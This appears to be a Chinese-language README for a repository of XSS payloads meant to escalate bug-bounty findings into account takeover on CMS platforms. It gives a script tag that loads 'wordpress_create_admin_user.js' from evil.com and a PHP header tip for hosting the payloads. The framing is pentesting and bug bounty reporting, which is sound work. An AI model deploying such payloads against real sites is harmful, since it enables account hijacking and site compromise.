Weaponised XSS Payloads

旨在将 alert(1) 升级为 P1 的 XSS 载荷。

博客文章

这个仓库与一篇题为 "How to Upgrade Your XSS Bugs from Medium to Critical" 的博客文章一同发布 https://medium.com/@hakluke/upgrade-xss-from-medium-to-critical-cb96597b6cc4

这是什么？

在这个仓库中，你会找到一系列 JavaScript 文件，它们可以被加载到 XSS 载荷中，以便在受害者浏览器的上下文中于流行的 CMS 平台上执行敏感功能。这有助于将一个普通的 XSS 漏洞串联成更严重的问题，例如账户接管。

通过展示真实的安全影响，这对于提升渗透测试或漏洞赏金报告的严重性非常完美。

载荷正在随着我有时间而慢慢添加。未来还会有更多，如果你能帮忙，欢迎提交拉取请求！如果你在寻找创建什么的灵感，请查看这个仓库的 "issues" 标签页。

使用方法

使用这些载荷最简单的方法是将它们托管在某处，然后像这样加载到你的 XSS 载荷的 script 标签的 src 属性中：

<script src="http://evil.com/wordpress_create_admin_user.js"></script>

另外，根据载荷的上下文和长度，有时可以将其压缩、编码后直接包含在请求中。

为了托管 JavaScript 文件，你可能需要将 Content-Type 设置为 application/javascript。要使用 PHP 实现这一点，你只需在任何载荷的顶部添加这一行，将其保存为 .php 文件，并托管在启用了 PHP 的 Web 服务器上：

<?php header("Content-Type: application/javascript"); ?>

致谢

Shift8 的这篇文章启发了我创建这个仓库。文章中的 JS 有一些小拼写错误，但概念非常准确。